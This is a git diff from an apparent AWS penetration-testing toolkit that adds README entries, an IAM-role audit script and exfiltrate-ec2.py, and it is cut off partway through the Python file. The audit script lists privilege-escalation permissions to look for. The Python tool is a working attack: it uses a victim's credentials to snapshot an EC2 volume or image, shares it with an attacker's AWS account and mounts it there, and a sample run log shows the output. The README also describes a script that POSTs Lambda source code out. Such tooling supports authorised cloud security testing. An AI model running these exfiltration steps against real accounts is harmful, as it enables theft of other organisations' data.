diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 0c25a9f..b435022 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -93,10 +93,233 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz) ``` +- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies or specified Policy by it's Arn, goes through all of granted permissions and lists those that are known for Privilege Escalation or other risks. If `all` was specified as a role-name, the tool will evaluate all of the user-specified IAM Roles, iteratively. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) + +``` +attacker $ ./evaluate-iam-role.sh awl CustomSysOpsRole +[+] Working on specified Role: CustomSysOpsRole + +[+] Role (CustomSysOpsRole) has following policies attached: + - arn:aws:iam::aws:policy/AmazonRDSFullAccess + - arn:aws:iam::aws:policy/AmazonEC2FullAccess + - arn:aws:iam::aws:policy/AWSLambdaFullAccess + - arn:aws:iam::aws:policy/AmazonS3FullAccess + - arn:aws:iam::aws:policy/ReadOnlyAccess + - arn:aws:iam::aws:policy/AmazonSSMFullAccess + - arn:aws:iam::aws:policy/AmazonMQFullAccess + - arn:aws:iam::aws:policy/AWSBackupAdminPolicy + + +[+] =============== Permissions granted =============== + + a4b:Describe* + a4b:Get* + a4b:List* + a4b:Search* + acm:Describe* + acm:DescribeCertificate + acm:Get* + acm:List* + [...] + workdocs:Get* + worklink:Describe* + worklink:List* + workmail:Describe* + workmail:Get* + workmail:List* + workmail:Search* + workspaces:Describe* + xray:BatchGet* + xray:Get* + xray:PutTelemetryRecords + xray:PutTraceSegments + + +[-] =============== Detected POTENTIALLY dangerous permissions granted =============== + + [...] + backup:* + backup-storage:* + clouddirectory:BatchRead + cloudformation:* + cloudformation:CreateStack + [...] + iot:CreateThing + iot:CreateTopicRule + sns:* + sqs:* + sqs:SendMessage + ssm:* + ssmmessages:CreateControlChannel + ssmmessages:CreateDataChannel + support:* + xray:BatchGet* + xray:PutTelemetryRecords + xray:PutTraceSegments + + +[!] =============== Detected DANGEROUS permissions granted =============== + + cloudformation:CreateStack + iam:AttachRolePolicy + iam:PassRole + +``` + +- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. + +IAM Permissions abused: +- `ec2:CreateSnapshot` +- `ec2:ModifySnapshotAttribute` +- `ec2:CreateImage` + +``` +attacker $ python3 ./exfiltrate-ec2.py --help + + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, + +usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE] + [--access-key ACCESS_KEY] [--secret-key SECRET_KEY] + [--token TOKEN] [--victim-profile VICTIM_PROFILE] + [--victim-access-key VICTIM_ACCESS_KEY] + [--victim-secret-key VICTIM_SECRET_KEY] + [--victim-token VICTIM_TOKEN] [-v] + {createimage,createsnapshot} ... + +positional arguments: + {createimage,createsnapshot} + Available methods + createimage Creates a snapshot of a running or stopped EC2 + instance in an AMI image form. This AMI image will + then be shared with another AWS account, constituing + exfiltration opportunity. + createsnapshot Creates a snapshot of an EBS volume used by an EC2 + instance. This snapshot will then be shared with + another AWS account, constituing exfiltration + opportunity. + +required arguments: + --region REGION AWS Region to use. + +optional arguments: + -v, --verbose Display verbose output. + +Attacker's AWS credentials - where to instantiate exfiltrated EC2: + --profile PROFILE Attacker's AWS Profile name to use if --access-key was + not specified + --access-key ACCESS_KEY + Attacker's AWS Access Key ID to use if --profile was + not specified + --secret-key SECRET_KEY + Attacker's AWS Secret Key ID + --token TOKEN (Optional) Attacker's AWS temporary session token + +Victim AWS credentials - where to find EC2 to exfiltrate: + --victim-profile VICTIM_PROFILE + Victim's AWS Profile name to use if --access-key was + not specified + --victim-access-key VICTIM_ACCESS_KEY + Victim's AWS Access Key ID to use if --profile was not + specified + --victim-secret-key VICTIM_SECRET_KEY + Victim's AWS Secret Key ID + --victim-token VICTIM_TOKEN + (Optional) Victim's AWS temporary session token + + +attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY + + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, + +[.] Using attacker's profile: default +[.] Using victim's profile: victim-profile +[.] Using region: us-east-1 +[.] Authenticating using Attacker's AWS credentials... +[.] Authenticating using Victim's AWS credentials... +[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute... + +[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX +[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ +[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000 +[+] Snapshot's attributes modified to share it with user 71284700000 +[>] Step 3: Waiting for the snapshot to transit into completed state. +[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account. +[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d +[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ) +[>] Step 5: Waiting for the volume to transit into created state. +[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance +[-] Attacker's machine is in running state, preventing to attach it a volume. +[.] Trying to stop the EC2 instance, then attach the volume and then restart it. +[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY +[.] Restarting it... + +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = vol-0f340890acfXXXXX + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = snap-0d7a43f0ff34ZZZZ + +If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now: + AttackerVolumeId = vol-04f36e35abeWWW + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = i-0b359b0fcbcYYYYY + AvailibityZone = us-east-1d + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) SSH to the attacker's EC2 instance + # ssh ec2-user@18.206.230.190 + + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + +attacker $ ssh ec2-user@18.206.230.190 +[...] +ec2-user@ec2instance:~$ sudo -s +root@ec2instance:/home/ec2-user# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +xvda 202:0 0 25G 0 disk +└─xvda1 202:1 0 25G 0 part +xvdf 202:80 0 25G 0 disk +└─xvdf1 202:81 0 25G 0 part / +root@ec2instance:/home/ec2-user# mkdir /exfiltrated +root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated +root@ec2instance:/home/ec2-user# ls -l /exfiltrated +total 84 +-rw-r--r-- 1 root root 0 lip 31 2018 0 +lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin +drwxr-xr-x 3 root root 4096 sie 17 2018 boot +drwxr-xr-x 4 root root 4096 sie 17 2018 dev +drwxr-xr-x 179 root root 12288 gru 4 16:37 etc +drwxr-xr-x 3 root root 4096 lis 4 16:18 home +[...] +``` + - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. +- **`find-exposed-resources.sh`** - Utterly simple script enumerating some of the resources that could be publicly shared which would count as a security misconfiguration. + - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. - **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies. - **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons). + diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh new file mode 100755 index 0000000..817d08c --- /dev/null +++ b/clouds/aws/evaluate-iam-role.sh @@ -0,0 +1,245 @@ +#!/bin/bash +# +# Evaluates specified AWS IAM Role or Policy given their name/Arn. +# Dumps all of the attached policies in case of Role and all of defined +# policy statements. Then goes through allowed permissions to pick all of them out. +# Finally, checks every allowed permission against a list of known troublesome ones. +# +# Mariusz B., mgeeky '19, +# v0.1 +# + +if [ $# -lt 2 ] ; then + echo "Usage: evaluate-iam-role.sh [-v] " + echo + echo -e "-v\t\t\tVerbose mode. Dumps full roles/policies contents." + echo -e "profile\t\t\tAWS credentials profile name." + echo -e "role-name|policy-name\tEither IAM Role name or Policy Arn to evaluate." + echo -e "\t\t\tIf 'all' was specified, will evaluate ALL used IAM Roles" + exit 1 +fi + +VERBOSE=0 +if [[ "$1" == "-v" ]]; then + VERBOSE=1 + shift +fi + +PROFILE=$1 +ROLE_NAME=$2 + +known_potentially_dangerous_permissions=( + ".+:\*" + ".*:Add.*" + ".*:Attach.*" + ".*:Batch.*" + ".*:Change.*" + ".*:Command.*" + ".*:Create.*" + ".*:Delete.*" + ".*:Execute.*" + ".*:Invoke.*" + ".*:Modify.*" + ".*:Put.*" + ".*:Reboot.*" + ".*:Register.*" + ".*:Replace.*" + ".*:Run.*" + ".*:Send.*" + ".*:Set.*" + ".*:Start.*" + ".*:Update.*" +) + +known_dangerous_permissions=( + "\*:\*" + "cloudformation:CreateStack" + "datapipeline:CreatePipeline" + "datapipeline:PutPipelineDefinition" + "ec2:RunInstances" + "glue:CreateDevEndpoint" + "glue:UpdateDevEndpoint" + "iam:\*" + "iam:AddUserToGroup" + "iam:AttachGroupPolicy" + "iam:AttachRolePolicy" + "iam:AttachUserPolicy" + "iam:CreateAccessKey" + "iam:CreateLoginProfile" + "iam:CreatePolicyVersion" + "iam:PassRole" + "iam:PassRole" + "iam:PutGroupPolicy" + "iam:PutRolePolicy" + "iam:PutUserPolicy" + "iam:SetDefaultPolicyVersion" + "iam:UpdateAssumeRolePolicy" + "iam:UpdateLoginProfile" + "lambda:CreateEventSourceMapping" + "lambda:CreateFunction" + "lambda:InvokeFunction" + "lambda:UpdateFunctionCode" + "sts:AssumeRole" +) + +known_dangerous_aws_managed_policies=( + "arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM" + "arn:aws:iam::aws:policy/service-role/AmazonMachineLearningRoleforRedshiftDataSource" +) + +dangerous_permissions=() +potentially_dangerous_permissions=() +all_perms=() +used_bad_policies=() + +function examine_policy() { + policy=$1 + role_name=$2 + + out=$(aws --profile $PROFILE iam get-policy --policy-arn $policy) + version_id=$(echo "$out" | jq -r '.Policy.DefaultVersionId') + policy_name=$(echo "$out" | jq -r '.Policy.PolicyName') + + policy_version=$(aws --profile $PROFILE iam get-policy-version --policy-arn $policy --version-id $version_id) + + if [[ $VERBOSE == 1 ]]; then + echo -e "\n------------[ Policy Arn: $policy ]------------" + echo "$policy_version" + fi + + permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow") | if .Action|type=="string" then [.Action] else .Action end | .[]')) + + path="" + if [[ "$role_name" != "" ]]; then + path="$role_name.$policy_name." + else + path="$policy_name." + fi + + if [[ "$ROLE_NAME" != "all" ]] ; then + path="" + fi + + for bad_policy in "${known_dangerous_aws_managed_policies[@]}"; do + if echo "$policy" | grep -iq "$bad_policy" ; then + used_bad_policies+=("$path$bad_policy") + fi + done + + for perm in "${permissions[@]}" ; do + permadd="$path$perm" + all_perms+=("$permadd") + + for potdangperm in "${known_potentially_dangerous_permissions[@]}"; do + if [[ "$perm" == "iam:*" ]]; then continue ; fi + if echo "$perm" | grep -Piq "$potdangperm" ; then + potentially_dangerous_permissions+=("$permadd") + fi + done + + for dangperm in "${known_dangerous_permissions[@]}"; do + if echo "$perm" | grep -iq "$dangperm" ; then + dangerous_permissions+=("$permadd") + fi + done + done +} + +function examine_role() { + role_name=$1 + + role_policy=$(aws --profile $PROFILE iam get-role --role-name $role_name) + + if [[ $VERBOSE == 1 ]]; then + echo -e "------------[ Role: $role_name ]------------" + echo "$role_policy" + fi + + attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $role_name | jq -r '.AttachedPolicies[].PolicyArn')) + + if [[ $VERBOSE == 1 ]]; then + echo + fi + echo "[+] Role ($role_name) has following policies attached:" + for policy in "${attached_role_policies[@]}" ; do + echo -e "\t- $policy" + done + + if [[ $VERBOSE == 1 ]]; then + echo + fi + + for policy in "${attached_role_policies[@]}" ; do + examine_policy $policy $role_name + done +} + +# +#------------------------------------------------------------------ +# + +IFS=$'\n' + +if [[ "$ROLE_NAME" == "all" ]]; then + echo "[+] Evaluating ALL used IAM Roles" + echo + + out=($(aws --profile awl iam list-roles --query 'Roles[*].RoleName' --output text | tr '\t' '\n')) + + for role in "${out[@]}"; do + examine_role $role + done + +elif echo "$ROLE_NAME" | grep -q "arn:aws:iam:" && echo "$ROLE_NAME" | grep -q ":policy/" ; then + echo "[+] Working on specified Policy Arn: $ROLE_NAME" + echo + + examine_policy $ROLE_NAME +else + echo "[+] Working on specified Role: $ROLE_NAME" + echo + + examine_role $ROLE_NAME +fi + +#------------------------------------------------------------------ + +if [[ ${#used_bad_policies[@]} -gt 0 ]]; then + echo -e "\n\n[-] =============== Found AWS Managed Insecure Policies in Use ===============" + echo + sorted=($(echo "${used_bad_policies[@]}" | tr ' ' '\n' | sort -u )) + for pol in "${sorted[@]}"; do + echo -e "\t$pol" + done +fi + +if [[ ${#all_perms[@]} -gt 0 ]]; then + echo -e "\n\n[+] =============== Permissions granted ===============" + echo + sorted=($(echo "${all_perms[@]}" | tr ' ' '\n' | sort -u )) + for perm in "${sorted[@]}"; do + echo -e "\t$perm" | sed -r 's/\./ -> /g' + done + + if [[ ${#potentially_dangerous_permissions[@]} -gt 0 ]]; then + echo -e "\n\n[-] =============== Detected POTENTIALLY dangerous permissions granted ===============" + echo + sorted=($(echo "${potentially_dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) + for dangperm in "${sorted[@]}"; do + echo -e "\t$dangperm" | sed -r 's/\./ -> /g' + done + fi + + if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then + echo -e "\n\n[!] =============== Detected DANGEROUS permissions granted ===============" + echo + sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) + for dangperm in "${sorted[@]}"; do + echo -e "\t$dangperm" | sed -r 's/\./ -> /g' + done + fi +else + echo -e "\nNo permissions were found to be granted." +fi + +echo diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py new file mode 100644 index 0000000..d9fa49a --- /dev/null +++ b/clouds/aws/exfiltrate-ec2.py @@ -0,0 +1,568 @@ +#!/usr/bin/python3 +# +# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's +# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. +# +# CreateSnapshot: +# Abuses: +# ec2:CreateSnapshot +# ec2:ModifySnapshotAttribute +# +# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will +# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to +# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot. +# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it +# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able +# to mount freshly attached volume in the operating system to further examine its contents. +# +# This technique is safe to be demonstrated during AWS Penetration tests. +# +# +# CreateImage: +# Abuses: +# ec2:CreateImage +# ec2:ModifyImageAttribute +# +# NOT FULLY IMPLEMENTED YET. +# For this technique, the procedure is following - the script will create an image out of specified victim's EC2 +# instance. This image will become publicly available (caution with client sensitive data!). After that, the script +# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that +# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to +# further examine it's filesystem contents. +# +# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is +# not recommended to use it during legal AWS Penetration Tests +# +# Author: Mariusz B. / mgeeky, '19, +# + +import sys +import pyjq +import json +import time +import boto3 +import argparse +from botocore.exceptions import ClientError + +config = { + 'verbose' : False, + 'region' : '', + 'victim' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'attacker' : { + 'profile' : '', + 'access-key' : '', + 'secret-key' : '', + 'token' : '', + }, + 'method' : '', + 'volume-id': '', + 'instance-id': '', + 'attach-instance-id': '', +} + +class Logger: + @staticmethod + def _out(x): + sys.stdout.write(x + '\n') + + @staticmethod + def out(x): + Logger._out('[>] ' + x) + + @staticmethod + def info(x): + if config['verbose']: + Logger._out('[.] ' + x) + + @staticmethod + def fatal(x): + sys.stdout.write('[!] ' + x + '\n') + sys.exit(1) + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + + +class ExfiltrateEC2: + session = None + def __init__(self, region, attacker_keys, victim_keys): + self.region = region + self.keys = { + 'attacker' : {}, + 'victim' : {}, + } + self.keys['attacker'] = attacker_keys + self.keys['victim'] = victim_keys + self.session = { + 'attacker' : None, + 'victim' : None, + } + + Logger.info(f"Using region: {region}") + + Logger.info("Authenticating using Attacker's AWS credentials...") + self.session['attacker'] = self.authenticate(region, attacker_keys) + + Logger.info("Authenticating using Victim's AWS credentials...") + self.session['victim'] = self.authenticate(region, victim_keys) + + def authenticate(self, region, keys): + session = None + try: + if keys['profile']: + session = boto3.Session( + profile_name = keys['profile'], + region_name = region + ) + else: + session = boto3.Session( + aws_access_key_id = keys['access-key'], + aws_secret_access_key = keys['secret-key'], + aws_session_token = keys['token'], + region_name = region + ) + except Exception as e: + Logger.fail(f'Could not authenticate to AWS: {e}') + raise e + + return session + + def get_session(self, whose): + return self.session[whose] + + def get_account_id(self, whose): + try: + return self.session[whose].client('sts').get_caller_identity()['Account'] + except Exception as e: + Logger.fatal(f'Could not Get Caller\'s identity: {e}') + + def create_snapshot(self, attacker_instance_id, volume_id, availability_zone): + victim_client = self.session['victim'].client('ec2') + attacker_client = self.session['attacker'].client('ec2') + + target_user = self.get_account_id('attacker') + + snapshot = None + volume_created = None + modify_result = None + + Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}") + try: + snapshot = victim_client.create_snapshot( + Description = f'Exfiltrated EBS snapshot of volume: {volume_id}', + VolumeId = volume_id + ) + Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}") + except Exception as e: + Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}") + + Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}") + try: + modify_result = victim_client.modify_snapshot_attribute( + Attribute = f'createVolumePermission', + OperationType = 'add', + SnapshotId = snapshot['SnapshotId'], + UserIds = [ + target_user, + ] + ) + Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}") + except Exception as e: + Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}") + + Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.") + try: + victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.") + + attacker_instance_data = None + try: + if not availability_zone: + availability_zone = self.region + 'a' + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + availability_zone = inst['Placement']['AvailabilityZone'] + attacker_instance_data = inst + Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}") + break + except Exception as e: + Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}") + Logger.fail(f"Exception: {e}") + raise e + availability_zone = self.region + 'a' + + try: + volume_created = attacker_client.create_volume( + AvailabilityZone = availability_zone, + Encrypted = False, + VolumeType = 'gp2', + SnapshotId = snapshot['SnapshotId'] + ) + Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})") + except Exception as e: + Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}") + + Logger.out(f"Step 5: Waiting for the volume to transit into created state.") + try: + attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']]) + except Exception as e: + Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}") + Logger.info("Waiting in a traditional manner: 3 minutes.") + + time.sleep(3 * 60) + + Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance") + try: + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + if 'IncorrectInstanceState' in str(e): + Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.") + Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.") + + try: + attacker_instance = attacker_client.stop_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ]) + attacker_client.attach_volume( + Device = '/dev/xvdf', + InstanceId = attacker_instance_id, + VolumeId = volume_created['VolumeId'] + ) + Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}") + except Exception as e: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.") + Logger.fail(f"Exception: " + str(e)) + + Logger.info("Restarting it...") + attacker_instance = attacker_client.start_instances( + InstanceIds = [attacker_instance_id, ] + ) + attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ]) + + try: + attacker_instance = attacker_client.describe_instances( + InstanceIds = [attacker_instance_id, ] + ) + for inst in attacker_instance['Reservations'][0]['Instances']: + if inst['InstanceId'] == attacker_instance_id: + attacker_instance_data = inst + break + except: pass + else: + Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + + try: + Logger.out(f"Cleanup. Trying to remove created snapshot ({snapshot['SnapshotId']}) at Victim's estate...") + victim_client.delete_snapshot(SnapshotId = snapshot['SnapshotId']) + Logger.ok(f"Snapshot removed.") + except Exception as e: + Logger.fail(f"(That's ok) ec2:DeleteSnapshot action on Victim failed. Exception: {e}") + + ssh_command = 'SSH to the attacker\'s EC2 instance\n' + if attacker_instance_data: + try: + ip = attacker_instance_data['PublicIpAddress'] + except: + Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n") + ip = "ec2-ip-address" + + if ip: + ssh_command = f'''SSH to the attacker's EC2 instance + # ssh ec2-user@{ip} +''' + + print(f''' +=============================================================== +[MODULE FINISHED] +=============================================================== + +[+] Exfiltrated snapshot of a victim's EBS volume: + VictimVolumeId = {volume_id} + +[+] By creating a snapshot of it, shared to the attacker's AWS user ID. + SnapshotId = {snapshot['SnapshotId']} + +If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now: + AttackerVolumeId = {volume_created['VolumeId']} + +That was attached to the specified attacker's EC2 instance: + AttackerInstanceId = {attacker_instance_id} + AvailibityZone = {availability_zone} + +Most likely as a '/dev/xvdf' device. + +=============================================================== +To examine exfiltrated data: + + 0) {ssh_command} + 1) List block devices mapped: + # lsblk + + 2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it: + # mkdir /exfiltrated + + 3) Mount that device's volume: + # mount /dev/xvdf1 /exfiltrated + + 4) Review it's contents: + # ls -l /exfiltrated +''') + return True + + def create_image(self, instance_id, image_name, image_description): + victim_client = self.session['victim'].client('ec2') + attacker_client = self.session['attacker'].client('ec2') + + created_image = None + try: + Logger.out("Step 1: Creating a publicly available AMI image out of specified EC2 instance.") + created_image = victim_client.create_image( + InstanceId = instance_id, + Name = image_name, + Description = image_description + ) + Logger.ok(f"AMI Image with name: ({image_name}) created: {created_image['ImageId']}") + except Exception as e: + Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}") + + target_user = self.get_account_id('attacker') + Logger.out(f"Step 2: Modifying image attributes to share it with UserId = {target_user}") + try: + modify_result = victim_client.modify_image_attribute( + Attribute = 'launchPermission', + ImageId = created_image['ImageId'], + OperationType = 'add', + UserIds = [ + target_user, + ] + ) + Logger.ok(f"Image's attributes modified to share it with user {target_user}") + except Exception as e: + Logger.fatal(f"ec2:ModifyImageAttribute action on Victim failed. Exception: {e}") + + # Step 3: Import custom SSH RSA public key + # client.import_key_pair( + # KeyName = "Some key name" + # PublicKeyMaterial = "key material" + # ) + + # Step 4: Create an instance from exported AMI + # client.run_instances( + # ImageId = "ami-00000000", + # SecurityGroupIds = ["sg-00000", ], + # SubnetId = "subnet-aaaaaa", + # Count = 1, + # InstanceType = "t2.micro", + # KeyName = "Some key name", + # Query = "Instances[0].InstanceId", + # ) + # Returns: + # "i-00001111002222" + + # Step 5: Connect to that EC2 instance + # client.describe_instances( + # InstanceIds = ["i-00001111002222"], + # Query = "Reservations[0].Instances[0].PublicIpAddress" + # ) + # Returns: + # "1.2.3.4" + # + # $ ssh ec2-user@1.2.3.4 + # $ ls -l + + print(f""" +=============================================================== +[!] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET. +=============================================================== + +[.] You can proceed manually from this point: + + 1) Create an EC2 instance in region: {self.region} + + 2) Make sure this EC2 instance is being created out of public AMI image with ID: + Image ID: {created_image['ImageId']} + + 3) Setup SSH keys, Security Groups, etc. + + 4) SSH into that machine. + +Created EC2 instance's filesystem will be filled with files coming from the exfiltrated EC2. +""") + +def parseOptions(argv): + global config + + print(''' + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, +''') + + parser = argparse.ArgumentParser(prog = argv[0]) + parser._action_groups.pop() + required = parser.add_argument_group('required arguments') + optional = parser.add_argument_group('optional arguments') + + attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2') + victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate') + + required.add_argument('--region', type=str, help = 'AWS Region to use.') + + attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default') + attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified') + attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID') + attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token') + + victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified') + victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified') + victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID') + victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token') + + optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + + subparsers = parser.add_subparsers(help='Available methods', dest='method') + + a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\ + ' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.' + createimage = subparsers.add_parser('createimage', help = a) + createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.') + createimage.add_argument('--image-name', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a name for newly created AMI image. Default: "Exfiltrated AMI image"') + createimage.add_argument('--image-desc', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a description for newly created AMI image. Default: "Exfiltrated AMI image"') + + b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\ + ' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.' + createsnapshot = subparsers.add_parser('createsnapshot', help = b) + createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.') + createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.') + createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.') + + args = parser.parse_args() + + config['verbose'] = args.verbose + config['region'] = args.region + + if args.method == 'createimage': + if args.instance_id != None: + config['instance-id'] = args.instance_id + else: + Logger.fatal('--instance-id parameter is required for this to work.') + + if args.method == 'createsnapshot': + if args.volume_id != None and args.attach_instance_id != None: + config['volume-id'] = 